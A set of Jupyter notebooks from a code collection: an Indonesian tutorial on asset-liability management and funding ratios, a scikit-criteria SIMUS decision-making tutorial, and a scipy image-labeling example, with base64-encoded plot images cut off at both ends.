GOx88VisbHSR8znwAQ/3wgXj\n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\n", "text/plain": [ "<matplotlib.figure.Figure at 0x11eb35668>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "fig, ax = plt.subplots(1,3, figsize=(12,4))\n", "ax[0].imshow(x_test[0,...,0], aspect=\"auto\")\n", "ax[1].imshow(y_test[0,...,1], aspect=\"auto\")\n", "ax[2].imshow(prediction[0,...,1], aspect=\"auto\")" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true, "jupyter": { "outputs_hidden": true } }, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.7.2" } }, "nbformat": 4, "nbformat_minor": 4 }

gpl-3.0

bennylp/quant.id

Notebooks/100 - Portfolio Construction and Analysis/10041 - Manajemen Aset dan Liabilitas.ipynb

2

7847

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "Tulisan ini akan membahas pengelolaan portfolio dalam konteks yang lebih besar. Biasanya kita melihat pengelolaan portfolio sebagai manajemen aset (*asset management*), yaitu hanya dalam konteks agar memberikan imbal hasil yang sebesar-besarnya. Dalam konteks yang lebih besar, kita melihat pengelolaan portfolio dalam konteks untuk memenuhi suatu tujuan pengeluaran tertentu. Jadi dalam portfolio kita tidak hanya terdapat aset, tapi juga kewajiban, atau liabilitas. Pengelolaannya disebut manajemen aset dan liabilitas (*asset-liability management*).\n", "\n", "Misalnya dalam pengelolaan portfolio pribadi kita. Apa sih tujuan kita mengelola portfolio? Tujuannya tentu bermacam-macam. Mungkin ada yang agar nanti ketika pensiun, aset kita bisa membiayai pengeluaran kita sebesar sekian juta per bulan. Mungkin agar beberapa tahun lagi kita bisa menyekolahkan anak kita dengan biaya sekian sekian. Dan sebagainya. Nah, kalau kita mempunyai tujuan tertentu, maka kita bisa mengukur dan mengelola aset kita agar memenuhi tujuan tersebut.\n", "\n", "Dalam industri keuangan, salah satu sektor yang memiliki permasalahan pengelolaan seperti ini adalah industri dana pensiun. Dana pensiun tidak hanya memperhatikan bagaimana mendapatkan untung yang sebesar-besarnya saja dari aset yang dikelolanya, tapi juga mempunyai persoalan spesifik, yaitu dia mempunyai kewajiban untuk membayar uang pensiun kepada kliennya ketika mereka memasuki masa pensiun. Kewajiban yang harus dikeluarkan ini disebut liabilitas.\n", "\n", "Sama seperti aset yang nilainya bisa naik turun tergantung dari kondisi pasar, liabilitas juga begitu, nilainya bisa naik turun tergantung dari kondisi pasar (terutama tingkat suku bunga). Selama nilai aset lebih besar dari pada nilai liabilitas, maka boleh dibilang kita aman. Tapi ketika nilai liabilitas lebih besar, maka kita dalam masalah. Dalam hal ini, maka biasanya terpaksa kita meminta suntikan modal baru dari klien kita." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Nilai Saat Ini dari Liabilitas\n", "\n", "Mari kita bahas sesuatu yang cukup menarik, yang awalnya mungkin sedikit tidak intuitif. Saya mulai dengan suatu contoh.\n", "\n", "Misalnya anda mempunyai kewajiban membayar Rp 100 juta setahun dari sekarang. Suku bunga pada awalnya 7% per tahun. Kalau suku bunga turun menjadi 5% per tahun, Anda untung atau rugi?\n", "\n", "Intuisinya, kalau kita punya kredit, lalu suku bunga turun, maka kita untung dong. Apakah begitu, mari kita lihat. Formulanya seperti ini.\n", "\n", "Kalau kita punya liabilitas ***L*** yang harus dibayar dalam waktu ***t*** tahun ke depan dan suku bunganya adalah ***r***, maka nilai saat ini (*present value, PV*) dari liabilitas itu adalah:\n", "\n", "$$ PV(L) = \\frac{1}{(1+r)^t}\\ L$$\n", "\n", "Dengan contoh di atas, kewajiban (L) Rp 100 juta, dengan t=1, suku bunga 0.07, maka nilai saat ini (*present value*) dari kewajiban itu adalah:" ] }, { "cell_type": "code", "execution_count": 1, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "93.45794392523365" ] }, "execution_count": 1, "metadata": {}, "output_type": "execute_result" } ], "source": [ "1 / ((1+0.07)**1) * 100" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Misalkan suku bunga turun menjadi 5% per tahun, maka nilai saat ini (*present value*) dari kewajiban kita adalah:" ] }, { "cell_type": "code", "execution_count": 2, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "95.23809523809523" ] }, "execution_count": 2, "metadata": {}, "output_type": "execute_result" } ], "source": [ "1 / ((1+0.05)**1) * 100" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Ternyata kalau suku bunga turun, nilai liabilitas kita justru naik!" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Funding Ratio: Rasio Aset terhadap Liabilitas\n", "\n", "Seperti kita ketahui, nilai aset bisa naik atau turun. Dan seperti kita diskusikan di atas, nilai liabilitas juga bisa naik atau turun, tergantung dari suku bunga. Oleh karena itu, dalam pengelolaan portfolio, kita tidak boleh hanya melihat naik turunnya aset saja, tapi harus keduanya.\n", "\n", "Salah satu ukuran kesehatan portfolio kita adalah rasio pendanaan (*funding ratio*), yang formulanya simpel saja:\n", "\n", "$$ Funding\\ Ratio = \\frac{Asset}{Liabilities} $$\n", "\n", "Dalam portfolio yang sehat, *funding ratio* harus satu atau lebih, atau dengan kata lain, aset harus sama atau lebih besar dari pada liabilitas.\n", "\n", "Nah dalam konteks ini, maka naik turunnya nilai aset tidak bisa langsung diasosiasikan dengan akibat baik atau buruk, karena kita harus melihat naik turunnya nilai liabilitas juga. Misalnya, naiknya nilai aset bukanlah kabar baik, kalau pada saat yang sama nilai liabilitas naik lebih besar lagi. Dan sebaliknya, turunnya nilai aset bukanlah kabar buruk, kalau pada saat yang sama nilai liabilitas juga turun lebih besar lagi. Jadi kita harus selalu melihat pada *funding ratio* ini.\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Liability Hedging Portfolio\n", "\n", "Portfolio yang menyeimbangkan aset dengan arus kas dari liabilitas disebut ***liability hedging portoflio (LHP)***. Dalam konteks personal, disebut juga ***goal-hedging portfolio (GHP)***. Portfolio ini biasanya mempunyai aset dalam bentuk surat utang dengan suku bunga dan jatuh tempo yang cocok dengan liabilitas, misalnya obligasi tanpa kupon (*zero coupon bond*). Obligasi tanpa kupon menjanjikan nilai yang eksak pada saat jatuh tempo, sehingga apapun yang terjadi pada pasar, nilai itu pasti akan dibayarkan. Dengan demikian maka portfolio aman dari kondisi apapun.\n", "\n", "Dalam konteks ini, uang tunai atau setara tunai tidak bisa dibilang sebagai *safe haven*, karena dengan tingkat suku bunga yang naik turun, menyebabkan nilai investasi tidak menentu di masa mendatang." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Liability Driven Investing (LDI)\n", "\n", "*Liability-driven investing* adalah paradigma investing moderen yang saat ini dominan dipakai di pengelolaan investasi profesional untuk institusi besar. Ide dari paradigma ini adalah, karena sangat sulit untuk meracik suatu portfolio yang optimal antara menghasilkan *return* yang besar dan memberikan proteksi terhadap resiko penurunan, maka lebih bagus kalau dibuat dua portfolio yang terpisah saja. Portfolio yang pertama adalah untuk mengejar *return* yang besar, disebut ***Performance-Seeking Portfolio (PSP)***, dan yang kedua adalah ***Liability-Hedging Portfolio (LHP)*** untuk melindungi keseluruhan portfolio dari resiko penurunan. Setelah kita alokasikan porsi yang tepat untuk LHP sesuai dengan profil resiko yang bisa diterima, sisa dana akan dialokasikan untuk PSP yang murni untuk mengejar performansi.\n" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.5.3" } }, "nbformat": 4, "nbformat_minor": 2 }

gpl-3.0

leliel12/scikit-criteria

doc/source/tutorial/simus.ipynb

1

15184

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# The SIMUS tutorial\n", "\n", "**SIMUS** (*Sequential Interactive Model for Urban Systems*) \n", "\n", "Is a tool to aid decision-making problems with\n", "multiple objectives. The method solves successive scenarios formulated as\n", "linear programs. For each scenario, the decision-maker must choose the\n", "criterion to be considered objective while the remaining restrictions\n", "constitute the constrains system that the projects are subject to. In each\n", "case, if there is a feasible solution that is optimum, it is recorded in a\n", "matrix of efficient results. Then, from this matrix two rankings allow the\n", "decision maker to compare results obtained by different procedures.\n", "The first ranking is obtained through a linear weighting of each column by\n", "a factor - equivalent of establishing a weight - and that measures the\n", "participation of the corresponding project. In the second ranking, the\n", "method uses dominance and subordinate relationships between projects,\n", "concepts from the French school of MCDM.\n", "\n", "\n", "## The Case: Land rehabilitation\n", "\n", "An important port city has been affected by the change in\n", "the modality of maritime transport, since the start of \n", "containers transport in the mid-20th century. The city was left with 39 hectares\n", "of empty docks, warehouses and a railway terminal.\n", "\n", "Three projects was developed to decide what to do with this places\n", "\n", "- **Project 1:** Corporate towers - Hotels - Navy Base - Small park\n", "- **Project 2:** Habitational towers - Comercial Center in the old Railway terminal.\n", "- **Project 3:** Convention center - Big park and recreational area.\n", "\n", "The criteria for the analysis of proposals are:\n", "\n", "1. New jobs positions (**jobs**).\n", "- Green spaces (**green**)\n", "- Financial feasibility (**fin**)\n", "- Environmental impact (**env**)\n", "\n", "\n", "Only for the 2nd criteria a maximun limit pf $500$ are provided.\n", "The decisor has the four criteria as goals, so 4 [Linear Optimizations](https://en.wikipedia.org/wiki/Linear_programming) must be solved.\n", "\n", "\n", "The data are provided in the next table:\n", "\n", "|Criteria|Project 1|Project 2|Project 3|Right side value|Optimal Sense|\n", "|--- |--- |--- |--- |--- |--- |--- |--- |--- |--- |\n", "|jobs|250|130|350|-|Maximize|\n", "|green|120|200|340|500|Maximize|\n", "|fin|20|40|15|-|Maximize|\n", "|env|800|1000|600|-|Maximize|\n", "\n", "\n", "### Data input\n", "\n", "We can create a `skcriteria.Data` object with all this information (except the limits):\n", "\n", "<div class=\"alert alert-info\">\n", "**Note:** SIMUS uses the alternatives as columns and the criteria as rows; but in *scikit-criteria* is the oposite, so expect to see the previous table transposed.\n", "</div>" ] }, { "cell_type": "code", "execution_count": 1, "metadata": {}, "outputs": [ { "data": { "text/html": [ "<table>\n", "<thead>\n", "<tr><th style=\"text-align: center;\"> ALT./CRIT. </th><th style=\"text-align: center;\"> jobs (max) </th><th style=\"text-align: center;\"> green (max) </th><th style=\"text-align: center;\"> fin (min) </th><th style=\"text-align: center;\"> env (max) </th></tr>\n", "</thead>\n", "<tbody>\n", "<tr><td style=\"text-align: center;\"> Prj 1 </td><td style=\"text-align: center;\"> 250 </td><td style=\"text-align: center;\"> 120 </td><td style=\"text-align: center;\"> 20 </td><td style=\"text-align: center;\"> 800 </td></tr>\n", "<tr><td style=\"text-align: center;\"> Prj 2 </td><td style=\"text-align: center;\"> 130 </td><td style=\"text-align: center;\"> 200 </td><td style=\"text-align: center;\"> 40 </td><td style=\"text-align: center;\"> 1000 </td></tr>\n", "<tr><td style=\"text-align: center;\"> Prj 3 </td><td style=\"text-align: center;\"> 350 </td><td style=\"text-align: center;\"> 340 </td><td style=\"text-align: center;\"> 15 </td><td style=\"text-align: center;\"> 600 </td></tr>\n", "</tbody>\n", "</table>" ], "text/plain": [ " ALT./CRIT. jobs (max) green (max) fin (min) env (max)\n", "------------ ------------ ------------- ----------- -----------\n", " Prj 1 250 120 20 800\n", " Prj 2 130 200 40 1000\n", " Prj 3 350 340 15 600" ] }, "execution_count": 1, "metadata": {}, "output_type": "execute_result" } ], "source": [ "# first lets import the DATA class\n", "from skcriteria import Data\n", "\n", "data = Data(\n", " # the alternative matrix\n", " mtx=[[250, 120, 20, 800],\n", " [130, 200, 40, 1000],\n", " [350, 340, 15, 600]],\n", " \n", " # optimal sense\n", " criteria=[max, max, min, max],\n", " \n", " # names of alternatives and criteria\n", " anames=[\"Prj 1\", \"Prj 2\", \"Prj 3\"],\n", " cnames=[\"jobs\", \"green\", \"fin\", \"env\"])\n", "\n", "# show the data object\n", "data" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Create the model" ] }, { "cell_type": "code", "execution_count": 2, "metadata": {}, "outputs": [], "source": [ "# import the class\n", "from skcriteria.madm.simus import SIMUS\n", "\n", "# create the new simus and\n", "dm = SIMUS()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "By default the call `SIMUS()` create a solver that internally uses the [PuLP](https://pythonhosted.org/PuLP/) solver to solve the linear programs. Other availables solvers are:\n", "\n", "- `SUMUS(solver='glpk')` for the [GNU Linear programming toolkit](https://en.wikipedia.org/wiki/GNU_Linear_Programming_Kit)\n", "- `SUMUS(solver='gurobi')` to use [Gurobi Optimizer](https://en.wikipedia.org/wiki/Gurobi)\n", "- `SUMUS(solver='cplex')` for [IBM ILOG CPLEX Optimization Studio](https://en.wikipedia.org/wiki/CPLEX)\n", "\n", "<div class=\"alert alert-info\">\n", "**Note:** The check the full list of available optimizers are stored in `skcriteria.utils.lp.SOLVERS`.\n", "</div>\n", "\n", "Also the `njobs` parameters determines how many cores the user want to use to run the linear programs. For example\n", "`SIMUS(njobs=2)` uses up to two cores. (By default all CPUs are used).\n", "\n", "Also the last (and most important) parameter is `rank_by` (default is 1): determines which of the two ranks methods executed by SIMUS is the one that determines the final ranking. If the experiment is consistent, the two methos *must* detemines the *same* ranking (Please check the [paper](https://revistas.unc.edu.ar/index.php/epio/article/viewFile/16533/16348) for more details)." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Solve the problem\n", "\n", "This is achived by calling the method `decide()` of the decision maker object (`dm`)" ] }, { "cell_type": "code", "execution_count": 3, "metadata": {}, "outputs": [ { "data": { "text/html": [ "<div id='dec-06dd3b64-c91d-11e9-8794-d85de264446f'><p><b>SIMUS (mnorm=none, wnorm=none) - Solution:</b></p><table>\n", "<thead>\n", "<tr><th style=\"text-align: center;\"> ALT./CRIT. </th><th style=\"text-align: center;\"> jobs (max) </th><th style=\"text-align: center;\"> green (max) </th><th style=\"text-align: center;\"> fin (min) </th><th style=\"text-align: center;\"> env (max) </th><th style=\"text-align: center;\"> Rank </th></tr>\n", "</thead>\n", "<tbody>\n", "<tr><td style=\"text-align: center;\"> Prj 1 </td><td style=\"text-align: center;\"> 250 </td><td style=\"text-align: center;\"> 120 </td><td style=\"text-align: center;\"> 20 </td><td style=\"text-align: center;\"> 800 </td><td style=\"text-align: center;\"> 3 </td></tr>\n", "<tr><td style=\"text-align: center;\"> Prj 2 </td><td style=\"text-align: center;\"> 130 </td><td style=\"text-align: center;\"> 200 </td><td style=\"text-align: center;\"> 40 </td><td style=\"text-align: center;\"> 1000 </td><td style=\"text-align: center;\"> 2 </td></tr>\n", "<tr><td style=\"text-align: center;\"> Prj 3 </td><td style=\"text-align: center;\"> 350 </td><td style=\"text-align: center;\"> 340 </td><td style=\"text-align: center;\"> 15 </td><td style=\"text-align: center;\"> 600 </td><td style=\"text-align: center;\"> 1 </td></tr>\n", "</tbody>\n", "</table></div>" ], "text/plain": [ "SIMUS (mnorm=none, wnorm=none) - Solution:\n", " ALT./CRIT. jobs (max) green (max) fin (min) env (max) Rank\n", "------------ ------------ ------------- ----------- ----------- ------\n", " Prj 1 250 120 20 800 3\n", " Prj 2 130 200 40 1000 2\n", " Prj 3 350 340 15 600 1" ] }, "execution_count": 3, "metadata": {}, "output_type": "execute_result" } ], "source": [ "# store the decision inside the dec variable\n", "dec = dm.decide(data, b=[None, 500, None, None])\n", "\n", "# let's see the decision\n", "dec" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "If you check the last column the raking is:\n", "\n", "1. Project 3\n", "- Project 2\n", "- Project 1" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Analysis\n", "\n", "Most of the \"intermediate\" data of the SIMUS method are stored in the `e_` field of the decision object `dec`." ] }, { "cell_type": "code", "execution_count": 4, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "Extra(rank_by, solver, stages, stage_results, points1, points2, tita_j_p, tita_j_d, doms, dom_by_crit)" ] }, "execution_count": 4, "metadata": {}, "output_type": "execute_result" } ], "source": [ "dec.e_" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "for example the attribute `stages` stores all the Linear programs executed by SIMUS:" ] }, { "cell_type": "code", "execution_count": 5, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "[no-name:\n", " MAXIMIZE\n", " 250*x0 + 130*x1 + 350*x2 + 0\n", " SUBJECT TO\n", " _C1: 120 x0 + 200 x1 + 340 x2 <= 500\n", " \n", " _C2: 20 x0 + 40 x1 + 15 x2 >= 15\n", " \n", " _C3: 800 x0 + 1000 x1 + 600 x2 <= 1000\n", " \n", " VARIABLES\n", " x0 Continuous\n", " x0 Continuous\n", " x1 Continuous\n", " x1 Continuous\n", " x2 Continuous\n", " x2 Continuous, no-name:\n", " MAXIMIZE\n", " 120*x0 + 200*x1 + 340*x2 + 0\n", " SUBJECT TO\n", " _C1: 250 x0 + 130 x1 + 350 x2 <= 350\n", " \n", " _C2: 20 x0 + 40 x1 + 15 x2 >= 15\n", " \n", " _C3: 800 x0 + 1000 x1 + 600 x2 <= 1000\n", " \n", " VARIABLES\n", " x0 Continuous\n", " x0 Continuous\n", " x1 Continuous\n", " x1 Continuous\n", " x2 Continuous\n", " x2 Continuous, no-name:\n", " MINIMIZE\n", " 20*x0 + 40*x1 + 15*x2 + 0\n", " SUBJECT TO\n", " _C1: 250 x0 + 130 x1 + 350 x2 <= 350\n", " \n", " _C2: 120 x0 + 200 x1 + 340 x2 <= 500\n", " \n", " _C3: 800 x0 + 1000 x1 + 600 x2 <= 1000\n", " \n", " VARIABLES\n", " x0 Continuous\n", " x0 Continuous\n", " x1 Continuous\n", " x1 Continuous\n", " x2 Continuous\n", " x2 Continuous, no-name:\n", " MAXIMIZE\n", " 800*x0 + 1000*x1 + 600*x2 + 0\n", " SUBJECT TO\n", " _C1: 250 x0 + 130 x1 + 350 x2 <= 350\n", " \n", " _C2: 120 x0 + 200 x1 + 340 x2 <= 500\n", " \n", " _C3: 20 x0 + 40 x1 + 15 x2 >= 15\n", " \n", " VARIABLES\n", " x0 Continuous\n", " x0 Continuous\n", " x1 Continuous\n", " x1 Continuous\n", " x2 Continuous\n", " x2 Continuous]" ] }, "execution_count": 5, "metadata": {}, "output_type": "execute_result" } ], "source": [ "dec._e.stages" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "The attribute `stages_results` stores the *eficients restults normalized matrix* " ] }, { "cell_type": "code", "execution_count": 6, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "array([[0.125 , 0. , 0.875 ],\n", " [0. , 0.38888889, 0.61111111],\n", " [0. , 0. , 0. ],\n", " [0.05681818, 0.94318182, 0. ]])" ] }, "execution_count": 6, "metadata": {}, "output_type": "execute_result" } ], "source": [ "dec.e_.stage_results" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## References\n", "\n", "> Munier, N., Carignano, C., & Alberto, C. UN MÉTODO DE PROGRAMACIÓN MULTIOBJETIVO. Revista de la Escuela de Perfeccionamiento en Investigación Operativa, 24(39)." ] }, { "cell_type": "code", "execution_count": 7, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Scikit-Criteria version: 0.2.10\n", "Running datetime: 2019-08-27 19:50:11.820481\n" ] } ], "source": [ "import datetime as dt\n", "import skcriteria\n", "print(\"Scikit-Criteria version:\", skcriteria.VERSION)\n", "print(\"Running datetime:\", dt.datetime.now())" ] } ], "metadata": { "celltoolbar": "Edit Metadata", "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.6.3" } }, "nbformat": 4, "nbformat_minor": 2 }

bsd-3-clause

idan192/WebStem

iPython/Fun.ipynb

1

252845

{ "metadata": { "name": "", "signature": "sha256:b2a8d3505130f2947d4171f840ec12a678576321d7793ea8c206f731acde9f56" }, "nbformat": 3, "nbformat_minor": 0, "worksheets": [ { "cells": [ { "cell_type": "code", "collapsed": false, "input": [ "import scipy\n", "from scipy import ndimage\n", "\n", "# read image into numpy array\n", "# $ wget http://pythonvision.org/media/files/images/dna.jpeg\n", "dna = scipy.misc.imread('WebStem/img.jpg') # gray-scale image\n", "\n", "\n", "# smooth the image (to remove small objects); set the threshold\n", "dnaf = dna\n", "T = 12 # set threshold by hand to avoid installing `mahotas` or\n", " # `scipy.stsci.image` dependencies that have threshold() functions\n", "\n", "# find connected components\n", "labeled, nr_objects = ndimage.label(dnaf > T) # `dna[:,:,0]>T` for red-dot case\n", "print \"Number of objects is %d \" % nr_objects\n", "\n", "# show labeled image\n", "####scipy.misc.imsave('labeled_dna.png', labeled)\n", "####scipy.misc.imshow(labeled) # black&white image\n", "import matplotlib.pyplot as plt\n", "plt.imsave('labeled.png', labeled)\n", "plt.imshow(labeled)\n", "\n", "plt.show()" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "Number of objects is 7474 \n" ] }, { "metadata": {}, "output_type": "display_data", "png": "iVBORw0KGgoAAAANSUhEUgAAAXsAAAEACAYAAABS29YJAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzsvXd4ldW2xvtbJWul90YaLSSEJITeO6ELSJceQelSpAgI\nioioCCi9qKAiooCAdD5ZBiO2Y0EUtiKiSAcR6S3lvX+slUUioOBm333uPXmfZz5fm72MOeYYY87P\nJEkUoQhFKEIR/n8N8387A0UoQhGKUIT/PIqIfRGKUIQi/B9AEbEvQhGKUIT/Aygi9kUoQhGK8H8A\nRcS+CEUoQhH+D6CI2BehCEUowv8B/EeI/datW0lNTaVcuXI8//zz/4kkilCEIhShCHcB0722s792\n7Rply5Zl586dREREULNmTRYvXkzFihXvZTJFKEIRilCEu8A95+w///xzkpOTiY6Oxmq10qVLFzZt\n2nSvkylCEYpQhCLcBe45sT9y5AixsbHu55iYGI4cOXKvkylCEYpQhCLcBe45sTeZTPc6yiIUoQhF\nKMK/Ceu9jjAmJobDhw+7nw8fPlyI04eiCaEIRShCEf4p/qma9Z5z9lWrVmXPnj0cPXqU7OxsVq5c\nSYsWLf6tOP38/EhPT2fQoEG0b9+eXr3SsNvtJCYmUqNGNerUqeP2GxUV9e8WAbP576slMDCQ5ORk\n50PZsrf0k5qa+rfxjBvX9q7ydicoA9QoGUDv3r0L1U1BNK5WDYBirmcrUMzfHywQGRnp9hcG2AFP\nwN/fn/j4ePe3OQ0buu/PPvMMABlVq7reeAF2JpStw9JunRgxYsQt8+EFRBR4HjMmgE61b7RhQEAA\nkyZZAEgOhpYtW1K1agRgIdLHB29vbypVqkRycjKV4yGjfn2CXGGbN29Oo0Y1CASGDx8OQJ2SJWmb\nkkLz5gXazGqlYkWY16EDcXFxhIUBWPD19QXvwvkNCAjA29ub6Ohoxo4dS7Fixejdu/dN5WrTpo3r\nzuK6ViQwMJAR9euz+4MPCACCg5NIb9wYu92Oh4cHU6dOpXVyMj29vQkNDQD8MJvjCAqCypVjiIyM\nxM8VW1xcHNNWO9MNDg4GIDQ0lPj4eCpWqOBsi4w61LHbqYOzDevX70FERIS7fz/S+RG6Dsli8OzB\nwEM842rDvoMHA7B+/Q4GT5wI5SAzM/NPbh6jMkeRmfkUmZmZdOjQgczMuSxYsIDHHnPgcAzA4fCj\nV69e1KoFPXp0xLFgAUuXLqVRo0Y8+uijWK1WEhIScDgcrF+/HvBmzRqDunXrMm7cODwGDgTquuvU\nMAwyMsAwnsIwjMJu2TImTJhApw4wZkyjm9rjrzDYVd58zJo1C4AKFSqQmhpZ6Js3sGnTJtq1a3fH\n8fv7+/Oga7wVhN0OHh63DtO+vQe1atW64zTuCPoPYPPmzUpOTlZSUpKmTp1603fgrlxMTIwGDRok\ncxezBg0apDJlyiggIEAlS5aU1WpV586dnX6DUO3aZdzhEhODBcjH587TstlsMplMf+vP29tbgOLi\n7q4sBV2pkqXk4VE47YLfzWbzP4rX399yU1wFndVqVUBsrADVcJWjQoWy8rVa